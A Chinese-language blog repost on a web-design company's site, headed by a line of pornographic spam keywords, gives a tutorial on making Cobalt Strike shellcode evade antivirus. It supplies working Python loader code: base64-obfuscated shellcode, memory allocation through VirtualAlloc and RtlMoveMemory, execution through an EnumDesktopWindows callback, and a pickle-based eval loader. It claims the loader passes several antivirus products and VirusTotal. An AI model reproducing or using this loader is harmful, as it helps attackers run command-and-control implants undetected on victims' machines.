真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

python?如何通過對cs生成的shellcode進(jìn)行處理從而簡單的繞過免殺

python如何通過對cs生成的shellcode進(jìn)行處理從而簡單的繞過免殺,針對這個問題,這篇文章詳細(xì)介紹了相對應(yīng)的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。

創(chuàng)新互聯(lián)建站是創(chuàng)新、創(chuàng)意、研發(fā)型一體的綜合型網(wǎng)站建設(shè)公司,自成立以來公司不斷探索創(chuàng)新,始終堅(jiān)持為客戶提供滿意周到的服務(wù),在本地打下了良好的口碑,在過去的十余年時(shí)間我們累計(jì)服務(wù)了上千家以及全國政企客戶,如成都門簾等企業(yè)單位,完善的項(xiàng)目管理流程,嚴(yán)格把控項(xiàng)目進(jìn)度與質(zhì)量監(jiān)控加上過硬的技術(shù)實(shí)力獲得客戶的一致夸獎。

如何通過對cs生成的shellcode進(jìn)行處理,從而簡單的繞過免殺。

代碼如下

python?如何通過對cs生成的shellcode進(jìn)行處理從而簡單的繞過免殺python?如何通過對cs生成的shellcode進(jìn)行處理從而簡單的繞過免殺

取出shellcode內(nèi)容

先對cs生成的payload.py進(jìn)行處理,提取出相關(guān)的shellcode代碼

shellcode = open('payload.py')
shellcode = shellcode.read()
# 取出shellcode內(nèi)容
s1 = shellcode.find("\"")+1
s2 = shellcode.rfind("\"")
shellcode =  shellcode[s1:s2]

base64加密

對shellcode進(jìn)行base64加密進(jìn)行混淆

shellcode = str(base64.b64encode(shellcode.encode('UTF-8')), 'UTF-8')

構(gòu)造shellcode加載器

對shellcode進(jìn)行base64解密

shellcode = base64.b64decode(shellcode)
shellcode = codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)

設(shè)置VirtualAlloc返回類型為ctypes.c_unit64

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

調(diào)用VirtualAlloc函數(shù),來申請一塊動態(tài)內(nèi)存區(qū)域

VirtualAlloc函數(shù)原型和參數(shù)如下:
LPVOID VirtualAlloc{
LPVOID lpAddress, #要分配的內(nèi)存區(qū)域的地址
DWORD dwSize,      #分配的大小
DWORD flAllocationType, #分配的類型
DWORD flProtect     #該內(nèi)存的初始保護(hù)屬性
};
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))

將shellcode載入內(nèi)存

從指定內(nèi)存地址將內(nèi)容復(fù)制到我們申請的內(nèi)存中去,shellcode字節(jié)多大就復(fù)制多大

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)

回調(diào)函數(shù)注入shellcode

python?如何通過對cs生成的shellcode進(jìn)行處理從而簡單的繞過免殺

回調(diào)函數(shù)是一個被作為參數(shù)傳遞的函數(shù)

機(jī)制

⑴定義一個回調(diào)函數(shù);

⑵提供函數(shù)實(shí)現(xiàn)的一方在初始化的時(shí)候,將回調(diào)函數(shù)的函數(shù)指針注冊給調(diào)用者;

⑶當(dāng)特定的事件或條件發(fā)生的時(shí)候,調(diào)用者使用函數(shù)指針調(diào)用回調(diào)函數(shù)對事件進(jìn)行處理。

當(dāng)我們向需要回調(diào)函數(shù)的參數(shù)傳遞一個函數(shù)指針時(shí),一旦函數(shù)指針被用來調(diào)用這個函數(shù),它指向的是回調(diào)被執(zhí)行了。這可以被濫用來注入 shellcode 而不是函數(shù)指針。

windows下可以利用的回調(diào)函數(shù)有很多,本文用的是EnumDesktopWindows這個函數(shù)

EnumDesktopWindows 枚舉與指定桌面關(guān)聯(lián)的所有頂級窗口,然后將每個窗口句柄傳遞給給應(yīng)用程序定義的回調(diào)函數(shù)。

BOOL EnumDesktopWindows(  HDESK       hDesktop,  WNDENUMPROC lpfn,  LPARAM      lParam);
參數(shù)
hDesktop
要枚舉其頂級窗口的桌面的句柄。該句柄由 CreateDesktop, GetThreadDesktop,OpenDesktop或 OpenInputDesktop函數(shù)返回,并且必須具有DESKTOP_READOBJECTS訪問權(quán)限。如果此參數(shù)為NULL,則使用當(dāng)前桌面。
lpfn
指向應(yīng)用程序定義的EnumWindowsProc回調(diào)函數(shù)的指針 。
lParam
應(yīng)用程序自定義的值,將傳遞給回調(diào)函數(shù)。

第二個參數(shù)是回調(diào)函數(shù)的指針,這樣就可以傳遞與位置無關(guān)的 shellcode。

反序列化加載

先對loader進(jìn)行序列化,在對序列化的代碼進(jìn)行base64加密

class A(object):
    def __reduce__(self):
        return (exec, (code,))
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)

最后反序列化加載loader

strinq=b'cGlja2xlLmxvYWRzKGJhc2U2NC5iNjRkZWNvZGUoY29kZSkp'
eval(str(base64.b64decode(strinq),'utf-8'))

通過__reduce__這個魔術(shù)方法執(zhí)行了loader

def __reduce__(self):
        return (exec, (code,))

就可以成功繞過殺軟,上線cs了

通過pyinstaller生成exe,進(jìn)行測試

火絨
python?如何通過對cs生成的shellcode進(jìn)行處理從而簡單的繞過免殺360殺毒
python?如何通過對cs生成的shellcode進(jìn)行處理從而簡單的繞過免殺360安全衛(wèi)士
python?如何通過對cs生成的shellcode進(jìn)行處理從而簡單的繞過免殺vt查殺
python?如何通過對cs生成的shellcode進(jìn)行處理從而簡單的繞過免殺

關(guān)于python如何通過對cs生成的shellcode進(jìn)行處理從而簡單的繞過免殺問題的解答就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道了解更多相關(guān)知識。


網(wǎng)頁題目:python?如何通過對cs生成的shellcode進(jìn)行處理從而簡單的繞過免殺
網(wǎng)站路徑:http://weahome.cn/article/pjdhoi.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部